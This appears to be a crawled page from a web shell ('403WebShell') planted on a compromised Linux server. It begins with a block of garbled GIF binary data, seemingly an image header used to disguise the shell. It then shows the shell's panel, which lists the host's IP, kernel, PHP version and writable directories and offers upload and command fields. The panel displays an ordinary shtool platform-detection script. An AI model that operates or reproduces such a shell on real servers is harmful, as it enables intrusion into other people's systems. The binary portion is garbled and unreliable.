GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.1.244.14, 216.73.216.169
Web Server : Apache
System : Linux opus08 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/shtool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/shtool/sh.platform
##
##  platform -- Platform Identification Utility
##  Copyright (c) 2003-2008 Ralf S. Engelschall <rse@engelschall.com>
##
##  This file is part of shtool and free software; you can redistribute
##  it and/or modify it under the terms of the GNU General Public
##  License as published by the Free Software Foundation; either version
##  2 of the License, or (at your option) any later version.
##
##  This file is distributed in the hope that it will be useful,
##  but WITHOUT ANY WARRANTY; without even the implied warranty of
##  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
##  General Public License for more details.
##
##  You should have received a copy of the GNU General Public License
##  along with this program; if not, write to the Free Software
##  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
##  USA, or contact Ralf S. Engelschall <rse@engelschall.com>.
##

str_tool="platform"
str_usage="[-F|--format <format>] [-S|--sep <string>] [-C|--conc <string>] [-L|--lower] [-U|--upper] [-v|--verbose] [-c|--concise] [-n|--no-newline] [-t|--type <type>] [-V|--version] [-h|--help]"
arg_spec="0="
opt_spec="F:S:C:L.U.v.c.n.t:d.V.h."
opt_alias="F:format,S:sep,C:conc,L:lower,U:upper,v:verbose,c:consise,t:type,n:no-newline,V:version,h:help"
opt_F="%{sp} (%{ap})"
opt_S=" "
opt_C="/"
opt_L=no
opt_U=no
opt_t=""
opt_v=no
opt_c=no
opt_n=no
opt_V=no
opt_h=no

. ./sh.common

#   option post-processing
if [ ".$opt_t" != . ]; then
    case "$opt_t" in
        binary )
            #   binary package id (OpenPKG RPM)
            opt_F="%<ap>-%<sp>"
            opt_L=yes
            opt_S=""
            opt_C="+"
            ;;
        build )
            #   build time checking (OpenPKG RPM)
            opt_F="%<at>-%<st>"
            opt_L=yes
            opt_S=""
            opt_C="+"
            ;;
        gnu )
            #   GNU config.guess style <arch>-<vendor>-<os><osversion>
            opt_F="%<at>-unknown-%<st>"
            opt_L=yes
            opt_S=""
            opt_C="+"
            ;;
        web )
            #   non-whitespace HTTP Server-header id
            opt_F="%<sp>-%<ap>"
            opt_S="/"
            opt_C="+"
            ;;
        summary)
            #   human readable verbose summary information
            opt_F="Class:      %[sc] (%[ac])\\nProduct:    %[sp] (%[ap])\\nTechnology: %[st] (%[at])"
            opt_S=" "
            opt_C="/"
            ;;
        all-in-one )
            #   full-table all-in-one information
            opt_F=""
            opt_F="${opt_F}concise architecture class:      %<ac>\\n"
            opt_F="${opt_F}regular architecture class:      %{ac}\\n"
            opt_F="${opt_F}verbose architecture class:      %[ac]\\n"
            opt_F="${opt_F}concise architecture product:    %<ap>\\n"
            opt_F="${opt_F}regular architecture product:    %{ap}\\n"
            opt_F="${opt_F}verbose architecture product:    %[ap]\\n"
            opt_F="${opt_F}concise architecture technology: %<at>\\n"
            opt_F="${opt_F}regular architecture technology: %{at}\\n"
            opt_F="${opt_F}verbose architecture technology: %[at]\\n"
            opt_F="${opt_F}concise system class:            %<sc>\\n"
            opt_F="${opt_F}regular system class:            %{sc}\\n"
            opt_F="${opt_F}verbose system class:            %[sc]\\n"
            opt_F="${opt_F}concise system product:          %<sp>\\n"
            opt_F="${opt_F}regular system product:          %{sp}\\n"
            opt_F="${opt_F}verbose system product:          %[sp]\\n"
            opt_F="${opt_F}concise system technology:       %<st>\\n"
            opt_F="${opt_F}regular system technology:       %{st}\\n"
            opt_F="${opt_F}verbose system technology:       %[st]"
            ;;
        * )
            echo "$msgprefix:Error: invalid type \`$opt_t'" 1>&2
            exit 1
            ;;
    esac
fi

#   assemble initial platform information
UNAME_MACHINE=`(uname -m) 2>/dev/null` ||\
UNAME_MACHINE=`(uname -p) 2>/dev/null` ||\
UNAME_MACHINE='unknown'
UNAME_SYSTEM=`(uname -s) 2>/dev/null`  ||\
UNAME_SYSTEM='unknown'
UNAME_RELEASE=`(uname -r) 2>/dev/null` ||\
UNAME_RELEASE=`(uname -v) 2>/dev/null` ||\
UNAME_RELEASE='unknown'

UNAME="${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}"

AC=""; AP=""; AT=""
SC=""; SP=""; ST=""

#    dispatch into platform specific sections
case "${UNAME}" in

    #   FreeBSD
    *:FreeBSD:* )
        #   determine architecture
        AC="${UNAME_MACHINE}"
        case "${AC}" in
            i386 ) AC="iX86" ;;
        esac
        AP="${AC}"
        AT="${AP}"
        if [ ".${AT}" = ".iX86" ]; then
            case "`(/sbin/sysctl -n hw.model) 2>&1`" in
                *"Xeon"* | *"Pentium Pro"* | *"Cyrix 6x86MX"* | *"Pentium II"* | *"Pentium III"* | *"Pentium 4"* | *"Celeron"* ) AT="i686" ;;
                *"Pentium"* ) AT="i586" ;; *"i486[SD]X"* | *"Cyrix 486"* | *"Cyrix [56]x86"* | *"Blue Lightning" | *"Cyrix 486S/DX" ) AT="i486" ;;
                *"i386[SD]X"* | *"NexGen 586"* ) AT="i386" ;;
            esac
        fi
        #   determine system
        r=`echo "${UNAME_RELEASE}" |\
           sed -e 's;[()];;' -e 's/\(-.*\)$/[\1]/'`
        ST="FreeBSD ${r}"
        SP="${ST}"
        case "${r}" in
            1.* ) SC="4.3BSD" ;;
            *   ) SC="4.4BSD" ;;
        esac
        ;;

    #   NetBSD
    *:NetBSD:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        AP="${AT}"
        case "${AP}" in
            i[3-6]86 ) AP="iX86" ;;
        esac
        AC="${AP}"
        #   determine system
        r=`echo "${UNAME_RELEASE}" | sed -e 's/\([-_].*\)$/[\1]/'`
        ST="NetBSD ${r}"
        SP="${ST}"
        case "${r}" in
            0.* ) SC="4.3BSD" ;;
            *   ) SC="4.4BSD" ;;
        esac
        ;;

    #   OpenBSD
    *:OpenBSD:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        AP="${AT}"
        case "${AP}" in
            i[3-6]86 ) AP="iX86" ;;
        esac
        AC="${AP}"
        #   determine system
        r=`echo "${UNAME_RELEASE}" | sed -e 's/\([-_].*\)$/[\1]/'`
        ST="OpenBSD ${r}"
        SP="${ST}"
        SC="4.4BSD"
        ;;

    #   DragonFly BSD
    *:DragonFly:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        AP="${AT}"
        case "${AP}" in
            i[3-6]86 ) AP="iX86" ;;
        esac
        AC="${AP}"
        #   determine system
        r=`echo "${UNAME_RELEASE}" | sed -e 's/\([-_].*\)$/[\1]/'`
        ST="DragonFly ${r}"
        SP="${ST}"
        SC="4.4BSD"
        ;;

    #   GNU/Linux
    *:Linux:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        case "${AT}" in
           ia64     ) AT="IA64"   ;;
           x86_64   ) AT='AMD64'  ;;
           parisc   ) AT="HPPA32" ;;
           parisc64 ) AT="HPPA64" ;;
        esac
        AP="${AT}"
        case "${AP}" in
           i[3-6]86 ) AP='iX86' ;;
        esac
        AC="${AP}"
        #   determine system
        v_kern=`echo "${UNAME_RELEASE}" |\
            sed -e 's/^\([0-9][0-9]*\.[0-9][0-9]*\).*/\1/'`
        v_libc=`(strings /lib/libc.so.* | grep '^GLIBC_' | sed -e 's/^GLIBC_//' |\
            env -i sort -n | sed -n -e '$p' | sed -e 's/^\([0-9][0-9]*\.[0-9][0-9]*\).*/\1/') 2>/dev/null`
        ST="GNU/<Linux >${v_libc}/<${v_kern}>"
        if [ -f /etc/lsb-release ]; then
            eval `( . /etc/lsb-release
                echo "SC=\"LSB${LSB_VERSION}\""
                if [ ".${DISTRIB_ID}" != . -a ".${DISTRIB_RELEASE}" != . ]; then
                    echo "SP=\"${DISTRIB_ID} ${DISTRIB_RELEASE}\""
                fi
            ) 2>/dev/null`
        fi
        if [ ".$SP" = . ]; then
            for tagfile in x \
                `cd /etc && \
                /bin/ls *[_-]release *[_-]version 2>/dev/null | env -i sort | \
                sed -e '/^redhat-release$/d' -e '/^lsb-release$/d'; \
                echo redhat-release lsb-release`
            do
                [ ".${tagfile}" = .x ] && continue
                [ ! -f "/etc/${tagfile}" ] && continue
                n=`echo ${tagfile} | sed -e 's/[_-]release$//' -e 's/[_-]version$//'`
                v=`(grep VERSION /etc/${tagfile}; cat /etc/${tagfile}) | grep '[0-9]' | sed -e 'q' |\
                   sed -e 's/^/#/' \
                       -e 's/^#[^0-9]*\([0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\).*$/\1/' \
                       -e 's/^#[^0-9]*\([0-9][0-9]*\.[0-9][0-9]*\).*$/\1/' \
                       -e 's/^#[^0-9]*\([0-9][0-9]*\).*$/\1/' \
                       -e 's/^#.*$//'`
                case "`util_lower ${n}`" in
                    redhat )
                        if [ ".`egrep '(Red Hat Enterprise Linux|CentOS)' /etc/${tagfile}`" != . ]; then
                            n="<R>ed <H>at <E>nterprise <L>inux"
                        else
                            n="<R>ed <H>at <L>inux"
                        fi
                        ;;
                    debian             ) n="Debian[ GNU/Linux]"        ;;
                    ubuntu             ) n="Ubuntu[ GNU/Linux]"        ;;
                    fedora             ) n="<Fedora> Core[ GNU/Linux]" ;;
                    suse               ) n="[Novell ]SUSE[ Linux]"     ;;
                    mandrake*|mandriva ) n="Mandriva[ Linux]"          ;;
                    gentoo             ) n="Gentoo[ GNU/Linux]"        ;;
                    slackware          ) n="Slackware[ Linux]"         ;;
                    turbolinux         ) n="TurboLinux"                ;;
                    unitedlinux        ) n="UnitedLinux"               ;;
                    *                  ) n="${n}[ GNU/Linux]"          ;;
                esac
                case "$n" in
                    *"<"*">"* ) SP="$n <$v>" ;;
                    *         ) SP="$n $v"   ;;
                esac
                break
            done
        fi
        [ ".$SP" = . ] && SP="${ST}"
        [ ".$SC" = . ] && SC="LSB"
        ;;

    #   Sun Solaris
    *:SunOS:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        case "${AT}" in
            i86pc )
                AT="iX86"
                case "`(/bin/isainfo -k) 2>&1`" in
                    amd64 ) AT="AMD64" ;;
                esac
                ;;
        esac
        AP="${AT}"
        case "${AP}" in
            sun4[cdm] ) AP="SPARC32" ;;
            sun4[uv]  ) AP="SPARC64" ;;
            sun4*     ) AP="SPARC"   ;;
        esac
        AC="${AP}"
        case "${AC}" in
            SPARC* ) AC="SPARC" ;;
        esac
        #   determine system
        ST="[Sun ]SunOS ${UNAME_RELEASE}"
        v=`echo "${UNAME_RELEASE}" |\
           sed -e 's;^4\.;1.;' \
               -e 's;^5\.\([0-6]\)[^0-9]*$;2.\1;' \
               -e 's;^5\.\([0-9][0-9]*\).*;\1;'`
        SP="[Sun ]Solaris $v"
        case "${UNAME_RELEASE}" in
            4.* ) SC="4.3BSD" ;;
            5.* ) SC="SVR4"   ;;
        esac
        ;;

    #   SCO UnixWare
    *:UnixWare:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        case "${AT}" in
            i[3-6]86 | ix86at ) AT="iX86" ;;
        esac
        AP="${AT}"
        #   determine system
        v=`/sbin/uname -v`
        ST="[SCO ]UnixWare ${v}"
        SP="${ST}"
        SC="SVR${UNAME_RELEASE}"
        ;;

    #   QNX
    *:QNX:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        case "${AT}" in
            x86pc ) AT="iX86" ;;
        esac
        AP="${AT}"
        #   determine system
        v="${UNAME_RELEASE}"
        ST="QNX[ Neutrino RTOS] ${v}"
        v=`echo "${v}" | sed -e 's;^\([0-9][0-9]*\.[0-9][0-9]*\).*$;\1;'`
        SP="QNX[ Neutrino RTOS] ${v}"
        SC="QNX"
        ;;

    #   SGI IRIX
    *:IRIX*:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        AP="${AT}"
        case "${AP}:${UNAME_SYSTEM}" in
            IP*:IRIX64 ) AP="MIPS64" ;;
            IP*:*      ) AP="MIPS"   ;;
        esac
        AC="${AP}"
        #   determine system
        v=`(/bin/uname -R || /bin/uname -r) 2>/dev/null | sed -e 's;[0-9.]* ;;'`
        ST="[SGI ]IRIX ${v}"
        v="${UNAME_RELEASE}"
        SP="[SGI ]IRIX ${v}"
        SC="4.2BSD/SVR3"
        ;;

    #   HP HP-UX
    *:HP-UX:* )
        #   determine architecture
        AT="${UNAME_MACHINE}"
        case "${AT}" in
            ia64 ) AT="IA64" ;;
            9000/[34]?? ) AT=M68K ;;
            9000/[678][0-9][0-9])
                sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null`
                sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null`
                case "${sc_cpu_version}" in
                    523 ) AT="HPPA1.0" ;;
                    528 ) AT="HPPA1.1" ;;
                    532 ) AT="HPPA2.0"
                        case "${sc_kernel_bits}" in
                            32 ) AT="${AT}n" ;;
                            64 ) AT="${AT}w" ;;
                        esac
                        ;;
                esac
                ;;
        esac
        AP="${AT}"
        case "${AP}" in
            HPPA* ) AP="HPPA" ;;
        esac
        AC="${AP}"
        #   determine system
        v=`echo "${UNAME_RELEASE}" | sed -e 's;^[^0-9]*;;'`
        ST="[HP ]<HP>-<UX ${v}>"
        SP="${ST}"
        case "${v}" in
            10.*   ) SC="SVR4.2" ;;
            [7-9]* ) SC="SVR4"   ;;
        esac
        ;;

    #   HP Tru64 (OSF1)
    *:OSF1:* )
        #   determine architecture
        AP="${UNAME_MACHINE}"
        case "${AP}" in
            alpha ) AP="Alpha" ;;
        esac
        alpha_type=`(/usr/sbin/psrinfo -v) 2>/dev/null |\
            sed -n -e 's/^.*The alpha \([^ ][^ ]*\).*processor.*$/\1/p' | sed -e 'q'`
        AT="${AP}${alpha_type}"
        AC="${AP}"
        #   determine system
        v=`echo "${UNAME_RELEASE}" | sed -e 's;^[VTX];;'`
        ST="[HP ]Tru64 ${v}"
        SP="${ST}"
        SC="OSF1"
        ;;

    #   IBM AIX
    *:AIX:* )
        #   determine architecture
        cpu_arch=RS6000
        if [ -x /usr/sbin/lsdev -a -x /usr/sbin/lsattr ]; then
            cpu_id=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
            if [ ".`/usr/sbin/lsattr -El ${cpu_id} | grep -i powerpc`" != . ]; then
                cpu_arch=PPC
            fi
        elif [ -d /QOpenSys ]; then
            #   IBM i5/OS (aka OS/400) with PASE (Portable Application Solutions Environment)
            cpu_arch=PPC
        fi
        if [ -x /usr/bin/oslevel ]; then
            os_level=`/usr/bin/oslevel`
        else
            os_level="`uname -v`.`uname -r`"
        fi
        os_level=`echo "${os_level}" |\
                  sed -e 's;^\([0-9][0-9]*\.[0-9][0-9]*\)\(\.[0-9][0-9]*\)\(.*\)$;<\1>\2[\3];' \
                      -e 's;^\([0-9][0-9]*\.[0-9][0-9]*\)\(.*\)$;<\1>\2;'`
        AT="${cpu_arch}"
        AP="${AT}"
        AC="${AP}"
        #   determine system
        ST="[IBM ]<AIX >${os_level}"
        SP="${ST}"
        case "${os_level}" in
            [12]* ) SC="SVR2" ;;
            *     ) SC="SVR4" ;;
        esac
        ;;

    #   Apple Mac OS X (Darwin)
    *:Darwin:* )
        #   determine architecture
        AT="`uname -p`"
        case "${AT}" in
            powerpc ) AT="PPC" ;;
        esac
        AP="${AT}"
        case "${AP}" in
            i?86 ) AP="iX86" ;;
        esac
        AC="${AP}"
        #   determine system
        unset v1; unset v2; unset v3
        eval `echo "${UNAME_RELEASE}" |\
              sed -e 's/^/#/' \
                  -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"; v3="\3"/' \
                  -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"/' \
                  -e 's/^#\([0-9][0-9]*\).*$/v1="\1"/' \
                  -e 's/^#.*$/v1="0"/'`
        ST="[Apple ]<${UNAME_SYSTEM} ${v1}>${v2+.$v2}${v3+[.$v3]}"
        SP="$ST"
        v="`(sw_vers) 2>/dev/null | grep 'ProductVersion:' | sed -e 's/^ProductVersion:[^0-9]*\([0-9][0-9.]*\).*$/\1/'`"
        if [ ".$v" = . ]; then
            for name in System Server; do
                if [ -f /System/Library/CoreServices/${name}Version.plist ]; then
                    v=`(defaults read "/System/Library/CoreServices/${name}Version" "ProductVersion") 2>/dev/null`
                    [ ".$v" != . ] && break
                fi
            done
        fi
        if [ ".$v" != . ]; then
            unset v1; unset v2; unset v3
            eval `echo "${v}" |\
                  sed -e 's/^/#/' \
                      -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"; v3="\3"/' \
                      -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"/' \
                      -e 's/^#\([0-9][0-9]*\).*$/v1="\1"/' \
                      -e 's/^#.*$/v1="0"/'`
            SP="[Apple ]Mac OS X ${v1}${v2+.$v2}${v3+[.$v3]}"
        fi
        SC="4.4BSD/Mach3.0"
        ;;

    #   Windows/Cygwin
    *:CYGWIN*:* )
        #   determine architecture
        AT="`uname -m`"
        AP="${AT}"
        case "${AP}" in
            i?86 ) AP="iX86" ;;
        esac
        AC="${AP}"
        #   determine system
        unset v1; unset v2; unset v3
        eval `echo "${UNAME_RELEASE}" |\
              sed -e 's/^/#/' \
                  -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"; v3="\3"/' \
                  -e 's/^#\([0-9][0-9]*\)\.\([0-9][0-9]*\).*$/v1="\1"; v2="\2"/' \
                  -e 's/^#\([0-9][0-9]*\).*$/v1="\1"/' \
                  -e 's/^#.*$/v1="0"/'`
        ST="Cygwin ${v1}${v2+.$v2}${v3+[.$v3]}"
        SP="$ST"
        SC="Windows"
        v=`echo "${UNAME_SYSTEM}" | sed -e 's/^CYGWIN_NT-//' |\
           sed -e 's/^/#/' -e 's/^#\([0-9][0-9]*\.[0-9][0-9]*\).*$/\1/' -e 's/^#.*$//'`
        case "$v" in
            4.0 ) SC="$SC[ NT]"    ;;
            5.0 ) SC="$SC[ 2000]"  ;;
            5.1 ) SC="$SC[ XP]"    ;;
            6.0 ) SC="$SC[ Vista]" ;;
        esac
        ;;

    #   TODO ...ADD YOUR NEW PLATFORM CHECK HERE... TODO
    # *:XXX:* )
    #   ...
    #   ;;

    #   ...A STILL UNKNOWN PLATFORM...
    * )
        AT=`echo "${UNAME_MACHINE}" | sed -e "s; ;${opt_C};g"`
        AP="${AT}"
        AC="${AP}"
        v=`echo "${UNAME_RELEASE}" |\
           sed -e 's/^/#/' \
               -e 's/^#[^0-9]*\([0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\).*$/\1/' \
               -e 's/^#[^0-9]*\([0-9][0-9]*\.[0-9][0-9]*\).*$/\1/' \
               -e 's/^#[^0-9]*\([0-9][0-9]*\).*$/\1/' \
               -e 's/^#.*$/?/'`
        ST="${UNAME_SYSTEM} ${v}"
        SP="${ST}"
        SC="${SP}"
        ;;

esac

#   provide fallback values
[ ".$AT" = . ] && AT="${AP:-${AC}}"
[ ".$AP" = . ] && AP="${AT:-${AC}}"
[ ".$AC" = . ] && AC="${AP:-${AT}}"
[ ".$ST" = . ] && ST="${SP:-${SC}}"
[ ".$SP" = . ] && SP="${ST:-${SC}}"
[ ".$SC" = . ] && SC="${SP:-${ST}}"

#   support explicit enforced verbose/concise output
if [ ".$opt_v" = .yes ]; then
    opt_F=`echo ":$opt_F" | sed -e 's/^://' -e 's/%\([as][cpt]\)/%[\1]/g'`
elif [ ".$opt_c" = .yes ]; then
    opt_F=`echo ":$opt_F" | sed -e 's/^://' -e 's/%\([as][cpt]\)/%<\1>/g'`
fi

#   provide verbose and concise variants
AC_V=""; AC_N=""; AC_C=""
AP_V=""; AP_N=""; AP_C=""
AT_V=""; AT_N=""; AT_C=""
SC_V=""; SC_N=""; SC_C=""
SP_V=""; SP_N=""; SP_C=""
ST_V=""; ST_N=""; ST_C=""
for var_lc in at ap ac st sp sc; do
    case "$opt_F" in
        *"%[${val_lc}]"* | *"%{${val_lc}}"* | *"%${val_lc}"* | *"%<${val_lc}>"* )
        var_uc=`util_upper "$var_lc"`
        eval "val=\"\$${var_uc}\""
        val_V=""; val_N=""; val_C=""
        case "$opt_F" in
            *"%[${var_lc}]"* )
                val_V=`echo ":$val" | \
                       sed -e 's/^://' \
                           -e 's;\[\([^]]*\)\];\1;g' \
                           -e 's;<\([^>]*\)>;\1;g' \
                           -e "s; ;;g" \
                           -e "s;/;%%;g" \
                           -e "s;;${opt_S};g" \
                           -e "s;%%;${opt_C};g"`
                eval "${var_uc}_V=\"\${val_V}\""
                ;;
        esac
        case "$opt_F" in
            *"%{${var_lc}}"* | *"%${var_lc}"* )
                val_N=`echo ":$val" | \
                       sed -e 's/^://' \
                           -e 's;\[\([^]]*\)\];;g' \
                           -e 's;<\([^>]*\)>;\1;g' \
                           -e "s; ;;g" \
                           -e "s;/;%%;g" \
                           -e "s;;${opt_S};g" \
                           -e "s;%%;${opt_C};g"`
                eval "${var_uc}_N=\"\${val_N}\""
                ;;
        esac
        case "$opt_F" in
            *"%<${var_lc}>"* )
                val_C=`echo ":$val" | \
                       sed -e 's/^://' \
                           -e 's;\[\([^]]*\)\];;g' \
                           -e 's;[^<]*<\([^>]*\)>[^<]*;\1;g' \
                           -e "s; ;;g" \
                           -e "s;/;%%;g" \
                           -e "s;;${opt_S};g" \
                           -e "s;%%;${opt_C};g"`
                eval "${var_uc}_C=\"\${val_C}\""
                ;;
        esac
        ;;
    esac
done

#   create output string
output=`echo ":$opt_F" |\
        sed -e "s/^://" \
            -e "s;%\\[ac\\];${AC_V};g" \
            -e "s;%{ac};${AC_N};g" \
            -e "s;%ac;${AC_N};g" \
            -e "s;%<ac>;${AC_C};g" \
            -e "s;%\\[ap\\];${AP_V};g" \
            -e "s;%{ap};${AP_N};g" \
            -e "s;%ap;${AP_N};g" \
            -e "s;%<ap>;${AP_C};g" \
            -e "s;%\\[at\\];${AT_V};g" \
            -e "s;%{at};${AT_N};g" \
            -e "s;%at;${AT_N};g" \
            -e "s;%<at>;${AT_C};g" \
            -e "s;%\\[sc\\];${SC_V};g" \
            -e "s;%{sc};${SC_N};g" \
            -e "s;%sc;${SC_N};g" \
            -e "s;%<sc>;${SC_C};g" \
            -e "s;%\\[sp\\];${SP_V};g" \
            -e "s;%{sp};${SP_N};g" \
            -e "s;%sp;${SP_N};g" \
            -e "s;%<sp>;${SP_C};g" \
            -e "s;%\\[st\\];${ST_V};g" \
            -e "s;%{st};${ST_N};g" \
            -e "s;%st;${ST_N};g" \
            -e "s;%<st>;${ST_C};g" \
            -e 's/\\\\n/^/g' |\
         tr '^' '\012'`

#   support lower/upper-case mapping
